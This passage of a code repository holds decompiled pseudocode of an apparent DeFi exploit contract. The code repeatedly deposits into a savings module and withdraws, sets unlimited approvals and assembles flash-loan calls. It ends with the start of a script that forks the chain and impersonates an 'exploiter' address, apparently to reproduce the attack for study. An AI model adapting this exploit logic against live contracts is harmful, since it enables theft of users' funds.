| mem[64] = mem[64] + 64 930 | mem[_1551] = 26 931 | mem[_1551 + 32] = 'SafeMath: division by zero' 932 | mem[mem[64] + 4] = stor0 933 | mem[mem[64] + 36] = stor7 934 | mem[mem[64] + 68] = 0 935 | mem[mem[64] + 100] = 0 936 | require ext_code.size(stor5) 937 | call stor5.withdraw(address account, address tokenAddr, uint256 index_from, uint256 index_to) with: 938 | gas gas_remaining wei 939 | args stor0, stor7, 0, 0 940 | else: 941 | if 99 * _1435 / _1435 != 99: 942 | revert with 0, 'SafeMath: multiplication overflow' 943 | _1579 = mem[64] 944 | mem[64] = mem[64] + 64 945 | mem[_1579] = 26 946 | mem[_1579 + 32] = 'SafeMath: division by zero' 947 | mem[mem[64] + 4] = stor0 948 | mem[mem[64] + 36] = stor7 949 | mem[mem[64] + 68] = 99 * _1435 / 100 950 | mem[mem[64] + 100] = 0 951 | require ext_code.size(stor5) 952 | call stor5.withdraw(address account, address tokenAddr, uint256 index_from, uint256 index_to) with: 953 | gas gas_remaining wei 954 | args stor0, stor7, 99 * _1435 / 100, 0 955 | mem[mem[64]] = ext_call.return_data[0] 956 | if not ext_call.success: 957 | revert with ext_call.return_data[0 len return_data.size] 958 | mem[64] = mem[64] + ceil32(return_data.size) 959 | require return_data.size >=′ 32 960 | idx = idx + 1 961 | continue 962 | mem[mem[64] + 4] = stor5 963 | mem[mem[64] + 36] = 0 964 | require ext_code.size(stor7) 965 | call stor7.approve(address spender, uint256 tokens) with: 966 | gas gas_remaining wei 967 | args stor5, 0 968 | mem[mem[64]] = ext_call.return_data[0] 969 | if not ext_call.success: 970 | revert with ext_call.return_data[0 len return_data.size] 971 | _650 = mem[64] 972 | mem[64] = mem[64] + ceil32(return_data.size) 973 | require return_data.size >=′ 32 974 | require mem[_650] == bool(mem[_650]) 975 | else: 976 | mem[_param1.length + ceil32(_param1.length) + (4 * ceil32(return_data.size)) + 164] = stor6 977 | mem[_param1.length + ceil32(_param1.length) + (4 * ceil32(return_data.size)) + 196] = -1 978 | require ext_code.size(stor7) 979 | call stor7.approve(address spender, uint256 tokens) with: 980 | gas gas_remaining wei 981 | args stor6, -1 982 | mem[_param1.length + ceil32(_param1.length) + (4 * ceil32(return_data.size)) + 160] = ext_call.return_data[0] 983 | if not ext_call.success: 984 | revert with ext_call.return_data[0 len return_data.size] 985 | require return_data.size >=′ 32 986 | require ext_call.return_data[0] == bool(ext_call.return_data[0]) 987 | mem[_param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 160] = 3 988 | mem[_param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 288] = 0 989 | mem[_param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 320] = 0 990 | mem[64] = _param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 672 991 | mem[_param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 544] = 0 992 | mem[_param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 576] = 0 993 | mem[_param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 608] = 0 994 | mem[_param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 640] = 0 995 | mem[_param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 352] = _param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 544 996 | mem[_param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 384] = 0 997 | mem[_param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 416] = 0 998 | mem[_param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 448] = 0 999 | mem[_param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 480] = 0 1000 | mem[_param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 512] = 96 1001 | mem[var81002] = _param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 288 1002 | s = _param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 352 1003 | s = _param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 288 1004 | s = var81002 1005 | idx = var81003 1006 | while idx - 1: 1007 | _1368 = mem[64] 1008 | mem[64] = mem[64] + 256 1009 | mem[_1368] = 0 1010 | mem[_1368 + 32] = 0 1011 | mem[64] = mem[64] + 128 1012 | mem[_param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 544] = 0 1013 | mem[_param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 576] = 0 1014 | mem[_param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 608] = 0 1015 | mem[_param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 640] = 0 1016 | mem[_1368 + 64] = _param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 544 1017 | mem[_1368 + 96] = 0 1018 | mem[_1368 + 128] = 0 1019 | mem[_1368 + 160] = 0 1020 | mem[_1368 + 192] = 0 1021 | mem[_1368 + 224] = 96 1022 | mem[s + 32] = _1368 1023 | s = _1368 + 64 1024 | s = _1368 1025 | s = s + 32 1026 | idx = idx - 1 1027 | continue 1028 | _1352 = mem[64] 1029 | mem[64] = mem[64] + 256 1030 | mem[_1352] = 1 1031 | mem[_1352 + 32] = 0 1032 | _1353 = mem[64] 1033 | mem[64] = mem[64] + 128 1034 | mem[_1353] = 0 1035 | mem[_1353 + 32] = 0 1036 | mem[_1353 + 64] = 0 1037 | mem[_1353 + 96] = uint256(stor2.field_0) 1038 | mem[_1352 + 64] = _1353 1039 | mem[_1352 + 96] = 3 1040 | mem[_1352 + 128] = 0 1041 | mem[_1352 + 160] = this.address 1042 | mem[_1352 + 192] = 0 1043 | _1354 = mem[64] 1044 | mem[64] = mem[64] + 32 1045 | mem[_1354] = 0 1046 | mem[_1352 + 224] = _1354 1047 | require 0 < mem[_param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 160] 1048 | mem[_param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 192] = _1352 1049 | _1369 = mem[64] 1050 | mem[64] = mem[64] + 256 1051 | mem[_1369] = 8 1052 | mem[_1369 + 32] = 0 1053 | _1370 = mem[64] 1054 | mem[64] = mem[64] + 128 1055 | mem[_1370] = 0 1056 | mem[_1370 + 32] = 0 1057 | mem[_1370 + 64] = 0 1058 | mem[_1370 + 96] = 0 1059 | mem[_1369 + 64] = _1370 1060 | mem[_1369 + 96] = 0 1061 | mem[_1369 + 128] = 0 1062 | mem[_1369 + 160] = this.address 1063 | mem[_1369 + 192] = 0 1064 | _1375 = mem[64] 1065 | mem[mem[64] + 32] = 32 1066 | mem[mem[64] + 64] = 0 1067 | mem[mem[64]] = 64 1068 | mem[_1369 + 224] = mem[64] 1069 | require 1 < mem[_param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 160] 1070 | mem[_param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 224] = _1369 1071 | mem[mem[64] + 96] = 0 1072 | mem[mem[64] + 128] = 0 1073 | mem[mem[64] + 352] = 1 1074 | mem[mem[64] + 384] = 0 1075 | mem[mem[64] + 416] = 0 1076 | mem[mem[64] + 448] = uint256(stor2.field_0) + 2 1077 | mem[mem[64] + 160] = mem[64] + 352 1078 | mem[mem[64] + 192] = 3 1079 | mem[mem[64] + 224] = 0 1080 | mem[mem[64] + 256] = this.address 1081 | mem[mem[64] + 288] = 0 1082 | mem[mem[64] + 480] = 0 1083 | mem[mem[64] + 320] = mem[64] + 480 1084 | require 2 < mem[_param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 160] 1085 | mem[_param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 256] = mem[64] + 96 1086 | mem[mem[64] + 512] = 1 1087 | mem[mem[64] + 576] = 0 1088 | mem[mem[64] + 608] = 0 1089 | mem[64] = mem[64] + 704 1090 | mem[_1375 + 640] = this.address 1091 | mem[_1375 + 672] = 1 1092 | mem[_1375 + 544] = _1375 + 640 1093 | mem[_1375 + 704] = 0xa67a6a4500000000000000000000000000000000000000000000000000000000 1094 | mem[_1375 + 708] = 64 1095 | mem[_1375 + 772] = 1 1096 | idx = 0 1097 | s = _1375 + 544 1098 | t = _1375 + 804 1099 | while idx < mem[_1375 + 512]: 1100 | _1681 = mem[s] 1101 | mem[t] = mem[mem[s] + 12 len 20] 1102 | mem[t + 32] = mem[_1681 + 32] 1103 | idx = idx + 1 1104 | s = s + 32 1105 | t = t + 64 1106 | continue 1107 | mem[_1375 + 740] = 160 1108 | _1680 = mem[_param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 160] 1109 | mem[_1375 + 868] = mem[_param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 160] 1110 | idx = 0 1111 | s = _param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 192 1112 | t = _1375 + (32 * _1680) + 900 1113 | u = _1375 + 900 1114 | while idx < _1680: 1115 | mem[u] = t + -_1375 - 900 1116 | _1786 = mem[s] 1117 | require mem[mem[s]] < 9 1118 | mem[t] = mem[mem[s]] 1119 | mem[t + 32] = mem[_1786 + 32] 1120 | _1799 = mem[_1786 + 64] 1121 | mem[t + 64] = bool(mem[mem[_1786 + 64]]) 1122 | require mem[_1799 + 32] < 2 1123 | mem[t + 96] = mem[_1799 + 32] 1124 | require mem[_1799 + 64] < 2 1125 | mem[t + 128] = mem[_1799 + 64] 1126 | mem[t + 160] = mem[_1799 + 96] 1127 | mem[t + 192] = mem[_1786 + 96] 1128 | mem[t + 224] = mem[_1786 + 128] 1129 | mem[t + 256] = mem[_1786 + 172 len 20] 1130 | mem[t + 288] = mem[_1786 + 192] 1131 | _1851 = mem[_1786 + 224] 1132 | mem[t + 320] = 352 1133 | _1855 = mem[_1851] 1134 | mem[t + 352] = mem[_1851] 1135 | v = 0 1136 | while v < _1855: 1137 | mem[v + t + 384] = mem[v + _1851 + 32] 1138 | v = v + 32 1139 | continue 1140 | if ceil32(_1855) > _1855: 1141 | mem[_1855 + t + 384] = 0 1142 | idx = idx + 1 1143 | s = s + 32 1144 | t = ceil32(_1855) + t + 384 1145 | u = u + 32 1146 | continue 1147 | require ext_code.size(stor6) 1148 | call stor6.mem[mem[64] len 4] with: 1149 | gas gas_remaining wei 1150 | args mem[mem[64] + 4 len t + -mem[64] - 4] 1151 | if not ext_call.success: 1152 | revert with ext_call.return_data[0 len return_data.size] 1153 | mem[mem[64] + 4] = stor6 1154 | mem[mem[64] + 36] = 0 1155 | require ext_code.size(stor7) 1156 | call stor7.approve(address spender, uint256 tokens) with: 1157 | gas gas_remaining wei 1158 | args stor6, 0 1159 | mem[mem[64]] = ext_call.return_data[0] 1160 | if not ext_call.success: 1161 | revert with ext_call.return_data[0 len return_data.size] 1162 | _1826 = mem[64] 1163 | mem[64] = mem[64] + ceil32(return_data.size) 1164 | require return_data.size >=′ 32 1165 | require mem[_1826] == bool(mem[_1826]) 1166 | mem[mem[64] + 4] = stor5 1167 | mem[mem[64] + 36] = 0 1168 | require ext_code.size(stor7) 1169 | call stor7.approve(address spender, uint256 tokens) with: 1170 | gas gas_remaining wei 1171 | args stor5, 0 1172 | mem[mem[64]] = ext_call.return_data[0] 1173 | if not ext_call.success: 1174 | revert with ext_call.return_data[0 len return_data.size] 1175 | _1871 = mem[64] 1176 | mem[64] = mem[64] + ceil32(return_data.size) 1177 | require return_data.size >=′ 32 1178 | require mem[_1871] == bool(mem[_1871]) 1179 | else: 1180 | mem[_param1.length + ceil32(_param1.length) + ceil32(return_data.size) + 164] = this.address 1181 | require ext_code.size(stor1) 1182 | static call stor1.balanceOf(address tokenOwner) with: 1183 | gas gas_remaining wei 1184 | args this.address 1185 | mem[_param1.length + ceil32(_param1.length) + ceil32(return_data.size) + 160] = ext_call.return_data[0] 1186 | if not ext_call.success: 1187 | revert with ext_call.return_data[0 len return_data.size] 1188 | require return_data.size >=′ 32 1189 | mem[_param1.length + ceil32(_param1.length) + (2 * ceil32(return_data.size)) + 160] = 30 1190 | mem[_param1.length + ceil32(_param1.length) + (2 * ceil32(return_data.size)) + 192] = 'SafeMath: subtraction overflow' 1191 | if ext_call.return_data[0] > 50000 * 10^18: 1192 | revert with 0, 'SafeMath: subtraction overflow', 0 1193 | mem[_param1.length + ceil32(_param1.length) + (2 * ceil32(return_data.size)) + 224] = 26 1194 | mem[_param1.length + ceil32(_param1.length) + (2 * ceil32(return_data.size)) + 256] = 'SafeMath: division by zero' 1195 | uint255(stor2.field_0) = -ext_call.return_data[0] + 50000 * 10^18 / 2 1196 | bool(stor2.field_255) = 0 1197 | mem[_param1.length + ceil32(_param1.length) + (2 * ceil32(return_data.size)) + 292] = stor5 1198 | mem[_param1.length + ceil32(_param1.length) + (2 * ceil32(return_data.size)) + 324] = -1 1199 | require ext_code.size(stor7) 1200 | call stor7.approve(address spender, uint256 tokens) with: 1201 | gas gas_remaining wei 1202 | args stor5, -1 1203 | mem[_param1.length + ceil32(_param1.length) + (2 * ceil32(return_data.size)) + 288] = ext_call.return_data[0] 1204 | if not ext_call.success: 1205 | revert with ext_call.return_data[0 len return_data.size] 1206 | require return_data.size >=′ 32 1207 | require ext_call.return_data[0] == bool(ext_call.return_data[0]) 1208 | mem[_param1.length + ceil32(_param1.length) + (4 * ceil32(return_data.size)) + 292] = this.address 1209 | require ext_code.size(stor7) 1210 | static call stor7.balanceOf(address tokenOwner) with: 1211 | gas gas_remaining wei 1212 | args this.address 1213 | mem[_param1.length + ceil32(_param1.length) + (4 * ceil32(return_data.size)) + 288] = ext_call.return_data[0] 1214 | if not ext_call.success: 1215 | revert with ext_call.return_data[0 len return_data.size] 1216 | mem[64] = _param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 288 1217 | require return_data.size >=′ 32 1218 | if ext_call.return_data[0] > uint256(stor2.field_0): 1219 | idx = 0 1220 | while idx < _param3: 1221 | _603 = mem[64] 1222 | mem[mem[64]] = 1 1223 | mem[64] = mem[64] + 64 1224 | require 0 < mem[_603] 1225 | mem[_603 + 32] = this.address 1226 | mem[_603 + 64] = 1 1227 | mem[64] = _603 + 128 1228 | mem[_603 + 96] = 5 * 10^6 // that below is deposit on savings module 1229 | mem[_603 + 128] = 0x562fa0df00000000000000000000000000000000000000000000000000000000 1230 | mem[_603 + 132] = stor0 1231 | mem[_603 + 164] = 96 1232 | mem[_603 + 228] = mem[_603] 1233 | s = 0 1234 | t = _603 + 32 1235 | u = _603 + 260 1236 | while s < mem[_603]: 1237 | mem[u] = mem[t + 12 len 20] 1238 | s = s + 1 1239 | t = t + 32 1240 | u = u + 32 1241 | continue 1242 | mem[_603 + 196] = (32 * mem[_603]) + 128 1243 | mem[_603 + (32 * mem[_603]) + 260] = 1 1244 | s = 0 1245 | t = _603 + (32 * mem[_603]) + 292 1246 | u = _603 + 96 1247 | while s < 1: 1248 | mem[t] = mem[u] 1249 | s = s + 1 1250 | t = t + 32 1251 | u = u + 32 1252 | continue 1253 | require ext_code.size(stor5) 1254 | call stor5.mem[mem[64] len 4] with: 1255 | gas gas_remaining wei 1256 | args mem[mem[64] + 4 len _603 + (32 * mem[_603]) + -mem[64] + 320] 1257 | if not ext_call.success: 1258 | revert with ext_call.return_data[0 len return_data.size] 1259 | mem[64] = mem[64] + ceil32(return_data.size) 1260 | require return_data.size >=′ 32 1261 | require ext_code.size(stor0) 1262 | call stor0.0x628cb95e with: 1263 | gas gas_remaining wei 1264 | mem[mem[64]] = ext_call.return_data[0] 1265 | if not ext_call.success: 1266 | revert with ext_call.return_data[0 len return_data.size] 1267 | _1421 = mem[64] 1268 | mem[64] = mem[64] + ceil32(return_data.size) 1269 | require return_data.size >=′ 32 1270 | _1432 = mem[_1421] 1271 | mem[mem[64] + 4] = this.address 1272 | require ext_code.size(stor1) 1273 | static call stor1.balanceOf(address tokenOwner) with: 1274 | gas gas_remaining wei 1275 | args addr(this.address) 1276 | mem[mem[64]] = ext_call.return_data[0] 1277 | if not ext_call.success: 1278 | revert with ext_call.return_data[0 len return_data.size] 1279 | _1470 = mem[64] 1280 | mem[64] = mem[64] + ceil32(return_data.size) 1281 | require return_data.size >=′ 32 1282 | _1491 = mem[_1470] 1283 | if _1432 > mem[_1470]: 1284 | if not mem[_1470]: 1285 | _1545 = mem[64] 1286 | mem[64] = mem[64] + 64 1287 | mem[_1545] = 26 1288 | mem[_1545 + 32] = 'SafeMath: division by zero' 1289 | mem[mem[64] + 4] = stor0 1290 | mem[mem[64] + 36] = stor7 1291 | mem[mem[64] + 68] = 0 1292 | mem[mem[64] + 100] = 0 1293 | require ext_code.size(stor5) 1294 | call stor5.withdraw(address account, address tokenAddr, uint256 index_from, uint256 index_to) with: 1295 | gas gas_remaining wei 1296 | args stor0, stor7, 0, 0 1297 | else: 1298 | if 99 * mem[_1470] / mem[_1470] != 99: 1299 | revert with 0, 'SafeMath: multiplication overflow' 1300 | _1574 = mem[64] 1301 | mem[64] = mem[64] + 64 1302 | mem[_1574] = 26 1303 | mem[_1574 + 32] = 'SafeMath: division by zero' 1304 | mem[mem[64] + 4] = stor0 1305 | mem[mem[64] + 36] = stor7 1306 | mem[mem[64] + 68] = 99 * _1491 / 100 1307 | mem[mem[64] + 100] = 0 1308 | require ext_code.size(stor5) 1309 | call stor5.withdraw(address account, address tokenAddr, uint256 index_from, uint256 index_to) with: 1310 | gas gas_remaining wei 1311 | args stor0, stor7, 99 * _1491 / 100, 0 1312 | else: 1313 | if not _1432: 1314 | _1546 = mem[64] 1315 | mem[64] = mem[64] + 64 1316 | mem[_1546] = 26 1317 | mem[_1546 + 32] = 'SafeMath: division by zero' 1318 | mem[mem[64] + 4] = stor0 1319 | mem[mem[64] + 36] = stor7 1320 | mem[mem[64] + 68] = 0 1321 | mem[mem[64] + 100] = 0 1322 | require ext_code.size(stor5) 1323 | call stor5.withdraw(address account, address tokenAddr, uint256 index_from, uint256 index_to) with: 1324 | gas gas_remaining wei 1325 | args stor0, stor7, 0, 0 1326 | else: 1327 | if 99 * _1432 / _1432 != 99: 1328 | revert with 0, 'SafeMath: multiplication overflow' 1329 | _1575 = mem[64] 1330 | mem[64] = mem[64] + 64 1331 | mem[_1575] = 26 1332 | mem[_1575 + 32] = 'SafeMath: division by zero' 1333 | mem[mem[64] + 4] = stor0 1334 | mem[mem[64] + 36] = stor7 1335 | mem[mem[64] + 68] = 99 * _1432 / 100 1336 | mem[mem[64] + 100] = 0 1337 | require ext_code.size(stor5) 1338 | call stor5.withdraw(address account, address tokenAddr, uint256 index_from, uint256 index_to) with: 1339 | gas gas_remaining wei 1340 | args stor0, stor7, 99 * _1432 / 100, 0 1341 | mem[mem[64]] = ext_call.return_data[0] 1342 | if not ext_call.success: 1343 | revert with ext_call.return_data[0 len return_data.size] 1344 | mem[64] = mem[64] + ceil32(return_data.size) 1345 | require return_data.size >=′ 32 1346 | idx = idx + 1 1347 | continue 1348 | mem[mem[64] + 4] = stor5 1349 | mem[mem[64] + 36] = 0 1350 | require ext_code.size(stor7) 1351 | call stor7.approve(address spender, uint256 tokens) with: 1352 | gas gas_remaining wei 1353 | args stor5, 0 1354 | mem[mem[64]] = ext_call.return_data[0] 1355 | if not ext_call.success: 1356 | revert with ext_call.return_data[0 len return_data.size] 1357 | _644 = mem[64] 1358 | mem[64] = mem[64] + ceil32(return_data.size) 1359 | require return_data.size >=′ 32 1360 | require mem[_644] == bool(mem[_644]) 1361 | else: 1362 | mem[_param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 292] = stor6 1363 | mem[_param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 324] = -1 1364 | require ext_code.size(stor7) 1365 | call stor7.approve(address spender, uint256 tokens) with: 1366 | gas gas_remaining wei 1367 | args stor6, -1 1368 | mem[_param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 288] = ext_call.return_data[0] 1369 | if not ext_call.success: 1370 | revert with ext_call.return_data[0 len return_data.size] 1371 | require return_data.size >=′ 32 1372 | require ext_call.return_data[0] == bool(ext_call.return_data[0]) 1373 | mem[_param1.length + ceil32(_param1.length) + (7 * ceil32(return_data.size)) + 288] = 3 1374 | mem[_param1.length + ceil32(_param1.length) + (7 * ceil32(return_data.size)) + 416] = 0 1375 | mem[_param1.length + ceil32(_param1.length) + (7 * ceil32(return_data.size)) + 448] = 0 1376 | mem[64] = _param1.length + ceil32(_param1.length) + (7 * ceil32(return_data.size)) + 800 1377 | mem[_param1.length + ceil32(_param1.length) + (7 * ceil32(return_data.size)) + 672] = 0 1378 | mem[_param1.length + ceil32(_param1.length) + (7 * ceil32(return_data.size)) + 704] = 0 1379 | mem[_param1.length + ceil32(_param1.length) + (7 * ceil32(return_data.size)) + 736] = 0 1380 | mem[_param1.length + ceil32(_param1.length) + (7 * ceil32(return_data.size)) + 768] = 0 1381 | mem[_param1.length + ceil32(_param1.length) + (7 * ceil32(return_data.size)) + 480] = _param1.length + ceil32(_param1.length) + (7 * ceil32(return_data.size)) + 672 1382 | mem[_param1.length + ceil32(_param1.length) + (7 * ceil32(return_data.size)) + 512] = 0 1383 | mem[_param1.length + ceil32(_param1.length) + (7 * ceil32(return_data.size)) + 544] = 0 1384 | mem[_param1.length + ceil32(_param1.length) + (7 * ceil32(return_data.size)) + 576] = 0 1385 | mem[_param1.length + ceil32(_param1.length) + (7 * ceil32(return_data.size)) + 608] = 0 1386 | mem[_param1.length + ceil32(_param1.length) + (7 * ceil32(return_data.size)) + 640] = 96 1387 | mem[var101002] = _param1.length + ceil32(_param1.length) + (7 * ceil32(return_data.size)) + 416 1388 | s = _param1.length + ceil32(_param1.length) + (7 * ceil32(return_data.size)) + 480 1389 | s = _param1.length + ceil32(_param1.length) + (7 * ceil32(return_data.size)) + 416 1390 | s = var101002 1391 | idx = var101003 1392 | while idx - 1: 1393 | _1364 = mem[64] 1394 | mem[64] = mem[64] + 256 1395 | mem[_1364] = 0 1396 | mem[_1364 + 32] = 0 1397 | mem[64] = mem[64] + 128 1398 | mem[_param1.length + ceil32(_param1.length) + (7 * ceil32(return_data.size)) + 672] = 0 1399 | mem[_param1.length + ceil32(_param1.length) + (7 * ceil32(return_data.size)) + 704] = 0 1400 | mem[_param1.length + ceil32(_param1.length) + (7 * ceil32(return_data.size)) + 736] = 0 1401 | mem[_param1.length + ceil32(_param1.length) + (7 * ceil32(return_data.size)) + 768] = 0 1402 | mem[_1364 + 64] = _param1.length + ceil32(_param1.length) + (7 * ceil32(return_data.size)) + 672 1403 | mem[_1364 + 96] = 0 1404 | mem[_1364 + 128] = 0 1405 | mem[_1364 + 160] = 0 1406 | mem[_1364 + 192] = 0 1407 | mem[_1364 + 224] = 96 1408 | mem[s + 32] = _1364 1409 | s = _1364 + 64 1410 | s = _1364 1411 | s = s + 32 1412 | idx = idx - 1 1413 | continue 1414 | _1348 = mem[64] 1415 | mem[64] = mem[64] + 256 1416 | mem[_1348] = 1 1417 | mem[_1348 + 32] = 0 1418 | _1349 = mem[64] 1419 | mem[64] = mem[64] + 128 1420 | mem[_1349] = 0 1421 | mem[_1349 + 32] = 0 1422 | mem[_1349 + 64] = 0 1423 | mem[_1349 + 96] = uint256(stor2.field_0) 1424 | mem[_1348 + 64] = _1349 1425 | mem[_1348 + 96] = 3 1426 | mem[_1348 + 128] = 0 1427 | mem[_1348 + 160] = this.address 1428 | mem[_1348 + 192] = 0 1429 | _1350 = mem[64] 1430 | mem[64] = mem[64] + 32 1431 | mem[_1350] = 0 1432 | mem[_1348 + 224] = _1350 1433 | require 0 < mem[_param1.length + ceil32(_param1.length) + (7 * ceil32(return_data.size)) + 288] 1434 | mem[_param1.length + ceil32(_param1.length) + (7 * ceil32(return_data.size)) + 320] = _1348 1435 | _1365 = mem[64] 1436 | mem[64] = mem[64] + 256 1437 | mem[_1365] = 8 1438 | mem[_1365 + 32] = 0 1439 | _1366 = mem[64] 1440 | mem[64] = mem[64] + 128 1441 | mem[_1366] = 0 1442 | mem[_1366 + 32] = 0 1443 | mem[_1366 + 64] = 0 1444 | mem[_1366 + 96] = 0 1445 | mem[_1365 + 64] = _1366 1446 | mem[_1365 + 96] = 0 1447 | mem[_1365 + 128] = 0 1448 | mem[_1365 + 160] = this.address 1449 | mem[_1365 + 192] = 0 1450 | _1374 = mem[64] 1451 | mem[mem[64] + 32] = 32 1452 | mem[mem[64] + 64] = 0 1453 | mem[mem[64]] = 64 1454 | mem[_1365 + 224] = mem[64] 1455 | require 1 < mem[_param1.length + ceil32(_param1.length) + (7 * ceil32(return_data.size)) + 288] 1456 | mem[_param1.length + ceil32(_param1.length) + (7 * ceil32(return_data.size)) + 352] = _1365 1457 | mem[mem[64] + 96] = 0 1458 | mem[mem[64] + 128] = 0 1459 | mem[mem[64] + 352] = 1 1460 | mem[mem[64] + 384] = 0 1461 | mem[mem[64] + 416] = 0 1462 | mem[mem[64] + 448] = uint256(stor2.field_0) + 2 1463 | mem[mem[64] + 160] = mem[64] + 352 1464 | mem[mem[64] + 192] = 3 1465 | mem[mem[64] + 224] = 0 1466 | mem[mem[64] + 256] = this.address 1467 | mem[mem[64] + 288] = 0 1468 | mem[mem[64] + 480] = 0 1469 | mem[mem[64] + 320] = mem[64] + 480 1470 | require 2 < mem[_param1.length + ceil32(_param1.length) + (7 * ceil32(return_data.size)) + 288] 1471 | mem[_param1.length + ceil32(_param1.length) + (7 * ceil32(return_data.size)) + 384] = mem[64] + 96 1472 | mem[mem[64] + 512] = 1 1473 | mem[mem[64] + 576] = 0 1474 | mem[mem[64] + 608] = 0 1475 | mem[64] = mem[64] + 704 1476 | mem[_1374 + 640] = this.address 1477 | mem[_1374 + 672] = 1 1478 | mem[_1374 + 544] = _1374 + 640 1479 | mem[_1374 + 704] = 0xa67a6a4500000000000000000000000000000000000000000000000000000000 1480 | mem[_1374 + 708] = 64 1481 | mem[_1374 + 772] = 1 1482 | idx = 0 1483 | s = _1374 + 544 1484 | t = _1374 + 804 1485 | while idx < mem[_1374 + 512]: 1486 | _1677 = mem[s] 1487 | mem[t] = mem[mem[s] + 12 len 20] 1488 | mem[t + 32] = mem[_1677 + 32] 1489 | idx = idx + 1 1490 | s = s + 32 1491 | t = t + 64 1492 | continue 1493 | mem[_1374 + 740] = 160 1494 | _1676 = mem[_param1.length + ceil32(_param1.length) + (7 * ceil32(return_data.size)) + 288] 1495 | mem[_1374 + 868] = mem[_param1.length + ceil32(_param1.length) + (7 * ceil32(return_data.size)) + 288] 1496 | idx = 0 1497 | s = _param1.length + ceil32(_param1.length) + (7 * ceil32(return_data.size)) + 320 1498 | t = _1374 + (32 * _1676) + 900 1499 | u = _1374 + 900 1500 | while idx < _1676: 1501 | mem[u] = t + -_1374 - 900 1502 | _1784 = mem[s] 1503 | require mem[mem[s]] < 9 1504 | mem[t] = mem[mem[s]] 1505 | mem[t + 32] = mem[_1784 + 32] 1506 | _1796 = mem[_1784 + 64] 1507 | mem[t + 64] = bool(mem[mem[_1784 + 64]]) 1508 | require mem[_1796 + 32] < 2 1509 | mem[t + 96] = mem[_1796 + 32] 1510 | require mem[_1796 + 64] < 2 1511 | mem[t + 128] = mem[_1796 + 64] 1512 | mem[t + 160] = mem[_1796 + 96] 1513 | mem[t + 192] = mem[_1784 + 96] 1514 | mem[t + 224] = mem[_1784 + 128] 1515 | mem[t + 256] = mem[_1784 + 172 len 20] 1516 | mem[t + 288] = mem[_1784 + 192] 1517 | _1849 = mem[_1784 + 224] 1518 | mem[t + 320] = 352 1519 | _1854 = mem[_1849] 1520 | mem[t + 352] = mem[_1849] 1521 | v = 0 1522 | while v < _1854: 1523 | mem[v + t + 384] = mem[v + _1849 + 32] 1524 | v = v + 32 1525 | continue 1526 | if ceil32(_1854) > _1854: 1527 | mem[_1854 + t + 384] = 0 1528 | idx = idx + 1 1529 | s = s + 32 1530 | t = ceil32(_1854) + t + 384 1531 | u = u + 32 1532 | continue 1533 | require ext_code.size(stor6) 1534 | call stor6.mem[mem[64] len 4] with: 1535 | gas gas_remaining wei 1536 | args mem[mem[64] + 4 len t + -mem[64] - 4] 1537 | if not ext_call.success: 1538 | revert with ext_call.return_data[0 len return_data.size] 1539 | mem[mem[64] + 4] = stor6 1540 | mem[mem[64] + 36] = 0 1541 | require ext_code.size(stor7) 1542 | call stor7.approve(address spender, uint256 tokens) with: 1543 | gas gas_remaining wei 1544 | args stor6, 0 1545 | mem[mem[64]] = ext_call.return_data[0] 1546 | if not ext_call.success: 1547 | revert with ext_call.return_data[0 len return_data.size] 1548 | _1824 = mem[64] 1549 | mem[64] = mem[64] + ceil32(return_data.size) 1550 | require return_data.size >=′ 32 1551 | require mem[_1824] == bool(mem[_1824]) 1552 | mem[mem[64] + 4] = stor5 1553 | mem[mem[64] + 36] = 0 1554 | require ext_code.size(stor7) 1555 | call stor7.approve(address spender, uint256 tokens) with: 1556 | gas gas_remaining wei 1557 | args stor5, 0 1558 | mem[mem[64]] = ext_call.return_data[0] 1559 | if not ext_call.success: 1560 | revert with ext_call.return_data[0 len return_data.size] 1561 | _1870 = mem[64] 1562 | mem[64] = mem[64] + ceil32(return_data.size) 1563 | require return_data.size >=′ 32 1564 | require mem[_1870] == bool(mem[_1870]) -------------------------------------------------------------------------------- /scripts/deploy-fiddy.js: -------------------------------------------------------------------------------- 1 | const [addresses, forkFrom, impersonate] = require('../utils/utils.js'); 2 | 3 | async function main() { 4 | forkFrom(11242500); 5 | 6 | impersonate(addresses.exploiter); 7 | const attacker = ethers.provider.getSigner(addresses.exploiter); 8 | 9 | // We get the contract to deploy 10 | const Fiddy = await ethers.getContractFactory("Fiddy"); 11 | //const val = ethers.utils.parseEther(1).toString(); 12 | const fiddy = await 